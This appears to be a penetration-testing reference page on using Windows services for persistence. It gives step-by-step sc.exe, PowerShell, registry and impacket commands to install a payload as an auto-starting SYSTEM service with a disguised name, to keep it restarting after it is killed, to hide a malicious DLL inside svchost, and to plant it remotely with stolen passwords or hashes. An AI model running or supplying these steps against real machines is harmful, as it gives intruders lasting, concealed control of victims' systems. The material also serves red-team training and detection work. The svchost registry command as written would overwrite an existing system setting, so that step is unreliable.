Skip to content

Windows Service Persistence

3 min read Created Apr 4, 2026 Last updated Jul 14, 2026

Creating a new Windows service as a persistence mechanism gives you code execution that starts automatically with the system. Compared to other persistence methods:

  • Runs as SYSTEM by default, before any user logs in

  • Restarts on failure if configured with recovery options

  • Harder to associate with a specific user account than scheduled tasks

  • Can be created remotely via sc.exe for persistence across multiple hosts

Requires local Administrator or SYSTEM to create.

Creating a new service

Requires local Administrator or SYSTEM. The binary pointed to by the service runs as SYSTEM unless a different account is specified.

PS C:\Users\Guest\Desktop> # Create service pointing to payload
PS C:\Users\Guest\Desktop> sc create WindowsHelper binPath= "C:\Windows\Temp\payload.exe" start= auto
 
PS C:\Users\Guest\Desktop> # Set display name and description to blend in
PS C:\Users\Guest\Desktop> sc config WindowsHelper DisplayName= "Windows Helper Service"
PS C:\Users\Guest\Desktop> sc description WindowsHelper "Provides support for Windows management tasks."
 
PS C:\Users\Guest\Desktop> # Start the service immediately
PS C:\Users\Guest\Desktop> sc start WindowsHelper
 
PS C:\Users\Guest\Desktop> # Verify
PS C:\Users\Guest\Desktop> sc qc WindowsHelper
PS C:\Users\Guest\Desktop> sc query WindowsHelper
SERVICE_NAME: WindowsHelper
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\Temp\payload.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Windows Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
PS C:\Users\Guest\Desktop> # New-Service cmdlet
PS C:\Users\Guest\Desktop> New-Service -Name 'WindowsHelper' -BinaryPathName 'C:\Windows\Temp\payload.exe' -DisplayName 'Windows Helper Service' -StartupType Automatic
 
PS C:\Users\Guest\Desktop> # Start immediately
PS C:\Users\Guest\Desktop> Start-Service -Name 'WindowsHelper'
 
PS C:\Users\Guest\Desktop> # Configure failure recovery: restart on crash
PS C:\Users\Guest\Desktop> sc failure WindowsHelper reset= 86400 actions= restart/5000/restart/5000/restart/5000

The failure recovery configuration makes the service restart automatically if the payload crashes or is killed. The format is actions= restart/delayms: three restart actions with a 5-second delay each. This makes the persistence significantly more resilient.

Service DLL persistence

Instead of pointing a service at an EXE, you can register a DLL as the service binary via ServiceDll. The DLL is loaded by svchost.exe, which means your malicious code runs inside a legitimate Windows process.

PS C:\Users\Guest\Desktop> # Create service entry
PS C:\Users\Guest\Desktop> sc create WindowsHelper binPath= "%SystemRoot%\System32\svchost.exe -k netsvcs" start= auto type= share
 
PS C:\Users\Guest\Desktop> # Set the DLL path in the Parameters key
PS C:\Users\Guest\Desktop> reg add HKLM\SYSTEM\CurrentControlSet\Services\WindowsHelper\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\payload.dll" /f
 
PS C:\Users\Guest\Desktop> # Add to svchost group (required for svchost-based services)
PS C:\Users\Guest\Desktop> reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost /v netsvcs /t REG_MULTI_SZ /d "WindowsHelper" /f
 
PS C:\Users\Guest\Desktop> # Start service
PS C:\Users\Guest\Desktop> sc start WindowsHelper

Service DLL payloads must export a ServiceMain function and implement basic service control handler logic. A raw DLL without these exports will fail to load. Use a purpose-built service DLL payload from your framework rather than a generic DLL.

Remote service creation

┌──(kali㉿kali)-[~]
└─$ # impacket-services: create, start, stop, delete services remotely
┌──(kali㉿kali)-[~]
└─$ impacket-services $DOMAIN/$USER:$PASSWORD@$TARGET_IP create -name WindowsHelper -display 'Windows Helper Service' -path 'C:\Windows\Temp\payload.exe'
┌──(kali㉿kali)-[~]
└─$ impacket-services $DOMAIN/$USER:$PASSWORD@$TARGET_IP start -name WindowsHelper
 
┌──(kali㉿kali)-[~]
└─$ # With hash
┌──(kali㉿kali)-[~]
└─$ impacket-services $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH create -name WindowsHelper -display 'Windows Helper Service' -path 'C:\Windows\Temp\payload.exe'

Cleaning up

PS C:\Users\Guest\Desktop> sc stop WindowsHelper
PS C:\Users\Guest\Desktop> sc delete WindowsHelper
 
PS C:\Users\Guest\Desktop> # Remove DLL registry key if used
PS C:\Users\Guest\Desktop> reg delete HKLM\SYSTEM\CurrentControlSet\Services\WindowsHelper /f

References